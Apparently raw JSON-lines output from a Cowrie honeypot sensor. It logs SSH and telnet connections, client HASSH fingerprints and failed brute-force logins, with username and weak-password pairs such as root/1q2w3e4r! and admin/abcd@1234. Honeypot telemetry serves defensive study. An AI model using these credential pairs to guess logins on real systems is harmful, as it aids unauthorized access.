{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:53.662327Z","src_ip":"138.124.158.150","session":"5bd86e97b067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"tester","message":"login attempt [ubuntu/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:54.834585Z","src_ip":"138.124.158.150","session":"5bd86e97b067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":48110,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a75772947e0","protocol":"ssh","message":"New connection: 103.15.226.202:48110 (10.17.0.5:22) [session: 7a75772947e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:55.656127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:55.660646Z","src_ip":"103.15.226.202","session":"7a75772947e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:55.916407Z","src_ip":"103.15.226.202","session":"7a75772947e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:56.440217Z","src_ip":"138.124.158.150","session":"5bd86e97b067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r!","message":"login attempt [root/1q2w3e4r!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:56.685132Z","src_ip":"103.15.226.202","session":"7a75772947e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:57.944236Z","src_ip":"103.15.226.202","session":"7a75772947e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":60454,"dst_ip":"159.203.135.109","dst_port":23,"session":"d165cc9ceeec","protocol":"telnet","message":"New connection: 166.62.41.96:60454 (159.203.135.109:23) [session: d165cc9ceeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:49:59.848122Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":46412,"dst_ip":"10.17.0.5","dst_port":22,"session":"68a77eb21f8d","protocol":"ssh","message":"New connection: 87.106.29.151:46412 (10.17.0.5:22) [session: 68a77eb21f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:02.538147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:02.545255Z","src_ip":"87.106.29.151","session":"68a77eb21f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:02.639374Z","src_ip":"87.106.29.151","session":"68a77eb21f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"resu","message":"login attempt [user/resu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:03.076256Z","src_ip":"87.106.29.151","session":"68a77eb21f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:04.186437Z","src_ip":"87.106.29.151","session":"68a77eb21f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.223690271377563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:07.104530Z","src_ip":"166.62.41.96","session":"b8a0a1f7029d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":49800,"dst_ip":"159.203.135.109","dst_port":22,"session":"38f35b8349f1","protocol":"ssh","message":"New connection: 20.82.144.240:49800 (159.203.135.109:22) [session: 38f35b8349f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:29.082127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:29.086788Z","src_ip":"20.82.144.240","session":"38f35b8349f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:29.154510Z","src_ip":"20.82.144.240","session":"38f35b8349f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc@1234","message":"login attempt [ubuntu/abc@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:29.455066Z","src_ip":"20.82.144.240","session":"38f35b8349f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.265191078186035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:30.113220Z","src_ip":"166.62.41.96","session":"d165cc9ceeec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:30.524903Z","src_ip":"20.82.144.240","session":"38f35b8349f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":40618,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5227f912322","protocol":"ssh","message":"New connection: 87.106.29.151:40618 (10.17.0.5:22) [session: d5227f912322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:53.447551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:53.451689Z","src_ip":"87.106.29.151","session":"d5227f912322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:53.543279Z","src_ip":"87.106.29.151","session":"d5227f912322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abcd@1234","message":"login attempt [admin/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:53.942692Z","src_ip":"87.106.29.151","session":"d5227f912322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:55.038084Z","src_ip":"87.106.29.151","session":"d5227f912322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":57253,"dst_ip":"159.203.135.109","dst_port":22,"session":"073ab71d7d55","protocol":"ssh","message":"New connection: 193.24.211.100:57253 (159.203.135.109:22) [session: 073ab71d7d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:58.732074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:58.779916Z","src_ip":"193.24.211.100","session":"073ab71d7d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:58.841159Z","src_ip":"193.24.211.100","session":"073ab71d7d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0racle","message":"login attempt [root/0racle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:50:59.265099Z","src_ip":"193.24.211.100","session":"073ab71d7d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:00.375153Z","src_ip":"193.24.211.100","session":"073ab71d7d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":59106,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e01b55f704e","protocol":"ssh","message":"New connection: 138.124.158.150:59106 (10.17.0.5:22) [session: 3e01b55f704e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:25.647556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:25.654874Z","src_ip":"138.124.158.150","session":"3e01b55f704e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:25.834149Z","src_ip":"138.124.158.150","session":"3e01b55f704e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"999","message":"login attempt [ubuntu/999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:27.128534Z","src_ip":"138.124.158.150","session":"3e01b55f704e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:28.314571Z","src_ip":"138.124.158.150","session":"3e01b55f704e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00130605697632,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:28.797151Z","src_ip":"212.55.149.117","session":"aa6faf03a33a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":38540,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb49a94fddbd","protocol":"ssh","message":"New connection: 20.82.144.240:38540 (159.203.135.109:22) [session: fb49a94fddbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:28.835027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:28.839375Z","src_ip":"20.82.144.240","session":"fb49a94fddbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:28.909236Z","src_ip":"20.82.144.240","session":"fb49a94fddbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ@WSX","message":"login attempt [test/!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:29.211164Z","src_ip":"20.82.144.240","session":"fb49a94fddbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:51:30.280802Z","src_ip":"20.82.144.240","session":"fb49a94fddbd","protocol":"ssh"}
